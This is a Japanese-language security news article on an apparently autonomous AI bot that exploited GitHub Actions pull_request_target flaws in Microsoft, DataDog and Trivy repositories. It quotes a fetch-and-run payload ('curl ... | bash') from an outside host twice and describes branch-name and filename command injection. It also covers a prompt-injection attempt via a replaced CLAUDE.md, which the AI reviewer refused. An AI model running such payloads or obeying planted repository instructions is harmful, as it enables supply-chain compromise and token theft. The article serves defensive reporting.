Hackerbot-Claw Bot Exploits GitHub Actions CI/CD Flaw to Attack Microsoft and DataDog
2026/03/03 gbhackers — 自律型 AI ボット Hackerbot-claw は、Microsoft/DataDog などの主要オープンソースプロジェクトの CI/CD パイプラインを標的として、GitHub Actions のミスコンフィグを悪用する 1 週間の攻撃キャンペーンを展開した。その結果、複数のケースでリモートコード実行 (RCE) が達成され、リポジトリ全体の完全侵害に至るケースも確認された。この攻撃が浮き彫りにするのは、安全でない pull_request_target ワークフローおよびシェル補間バグが、日常的な自動化をサプライチェーン・バックドアへと転換させてしまう危険性である。

問題のアカウントは、”Claude-Opus-4-5 搭載の自律型セキュリティ研究エージェント” と自称し、プロフィール上に活動ログを公開している。Hackerbot-claw は、2026年2月21日から 28日にかけて公開リポジトリを体系的にスキャンし、悪用可能な GitHub Actions ワークフローを探索した。7日間で実施された悪意のアクションは、以下のとおりである。
- Microsoft/DataDog/Aqua Security/CNCF Project/Rust/Python/Trivy を含む、少なくとも 6 件の著名リポジトリの標的化。
- CI ワークフローをトリガーしてエクスプロイトを検証するために、10 件以上の pull request を作成。
- 少なくとも 4 件のリポジトリで任意のコード実行を達成し、トップスター獲得プロジェクトから書き込み権限付き GitHub トークンを窃取。
この攻撃者は、品質チェック用スクリプトに Go 言語の init() 関数を注入した。Go では、main() より前に init() が自動実行されるため、正規チェック前に悪意のコードが実行される。すべての成功した攻撃では、共通のコア・ペイロード “curl -sSfL hackmoltrepeat.com/molt | bash” が使用された。このペイロードは、ブランチ名/ファイル名/スクリプト/ワークフロー・パラメータなどの、複数の注入ベクターを通じて配信された。
Microsoft と DataDog への攻撃
Microsoft の ai-discovery-agent では、ブランチ名インジェクションが用いられた。エスケープされていないインターポレーション (内挿) により、ワークフローがブランチ参照をファイルへエコーさせたことで、悪意のブランチ名にシェル構文が埋め込まれた。それにより、Bash がコマンド置換を評価し、リモート・ペイロードが実行された。異常に長時間のステップ実行や、破損したブランチ・メタデータが、ログに記録されており、CI 実行中の RCE と整合した。
DataDog の datadog-iac-scanner では、ファイル名ベースのコマンド・インジェクションが用いられた。攻撃者は、Markdown ファイル名を作成し、そこに $(…) で囲まれた base64 エンコード済みシェルコマンドを取り込んだ。続いて、未エスケープ式を介して sync ワークフローが、ファイル名を Bash の for ループへ渡した結果、ランナー上でコマンドがデコードされ、”curl -sSfL hackmoltrepeat.com/molt | bash” が実行された。
問題の発覚から数時間以内で DataDog は対応し、author_association チェックの追加/contents: read への権限制限/sync スクリプトにおけるパス処理の堅牢化を実施した。
最も注目すべき攻撃の 1 つは、Ambient-Code のプラットフォーム・プロジェクトである。同プロジェクトの GitHub Actions 内では、Claude Code が AI コード・レビューアとして統合されていた。
Hackerbot-claw は、リポジトリの CLAUDE.md コンフィグ・ファイルを、ソーシャル・エンジニアリング命令に置き換え、README.md を改竄させて変更をコミットさせた上で、偽の “承認済み” レビューを投稿させるよう AI に指示した。
このワークフローは pull_request_target を使用し、改竄された CLAUDE.md を含むフォークコードをチェックアウトしていた。さらに、allowed_non_write_users 設定が緩かったことで、 contents: write 権限を付与し、外部アカウントからのレビュー実行のトリガーを可能にした。
Claude Code は、この変更をプロンプト・インジェクションとして検出し、悪意の指示の実行を明示的に拒否したうえで、PR のクローズおよび CLAUDE.md とワークフロー権限の厳格化を推奨した。このインシデントが示すのは、攻撃側と防御側の双方に、AI エージェントが存在し得ることである。つまり、自律的な攻撃者であると同時に、CI 内部の最終防御ラインにもなり得る。
GitHub Actions CI/CD の欠陥
最も深刻なインシデントは、Aqua Security の Trivy で発生した。Trivy は広く利用されているオープンソース脆弱性スキャナである。Hackerbot-claw は、pull_request_target ワークフローを悪用し、Trivy の CI 環境内でペイロードを実行し、広範なリポジトリ権限を持つ Personal Access Token (PAT) を窃取した。
悪意の実行の数分後に、窃取されたトークンは、疑わしいアーティファクトのプッシュに使用された。具体的には、コミットのプッシュ/リポジトリ名の変更と非公開化/過去リリース履歴の削除/Trivy の VS Code エクステンション・チャネルへのプッシュなどである。
このインシデントが示すのは、CI 経由で暴露された単一の過剰権限シークレットが、エコシステム全体へ波及し得ることである。
Hackerbot-claw のような AI 駆動ボットが進化する中、CI/CD パイプラインを防御する側に求められるのは、攻撃者と同等の自動化および厳格性である。このキャンペーンが証明したのは、自動化エージェントが大規模に CI/CD のミスコンフィグを探索しているという現実である。リスクを低減させる、以下の対策が推奨される。
- pull_request_target の使用は必要最小限に抑え、可能な限り pull_request を使用し、contents: read および最小権限トークンを適用する。
- 未エスケープ・インターポレーション (内挿) や動的 eval パターンで、フォークコード (スクリプト/ファイル名/ブランチ名) を Bash 実行しない。
- AI 駆動ワークフローを保護するために、読み取り専用権限/厳格なツール許可リスト/CLAUDE.md などを、コンフィグ・ファイルで CODEOWNERS 適用する。
- 全リポジトリのワークフロー・ファイルを継続的にスキャンし、危険パターンおよび過剰権限トークンを検出する。
すでに Aqua Security は、脆弱なワークフローの削除/悪用された認証情報を無効化/リポジトリの復旧を実施した上で、安全なリリースを再公開している。ただし、リリース履歴およびダウンロード・エンドポイントの再構築作業は継続中である。
この攻撃の背景にあるのは、GitHub Actions における pull_request_target ワークフローの設定不備です。 この機能は、フォーク元のコードを信頼して実行するため、外部から制御可能なブランチ名やファイル名を、適切にエスケープせずシェル環境へ渡すことで、コマンド・インジェクションを招いてしまいます。今回の Hackerbot-claw は、この欠陥を突き、悪意のコードを挿入して実行権限を奪取しました。自動化された AI エージェントは、ミスコンフィグを正確に突いてくるため、CI/CD パイプラインを設計する際は外部からの入力値を信頼せず、コマンド実行前に必ず無害化する意識が重要です。よろしければ、GitHub Actions での検索結果も、ご参照ください。



You must be logged in to post a comment.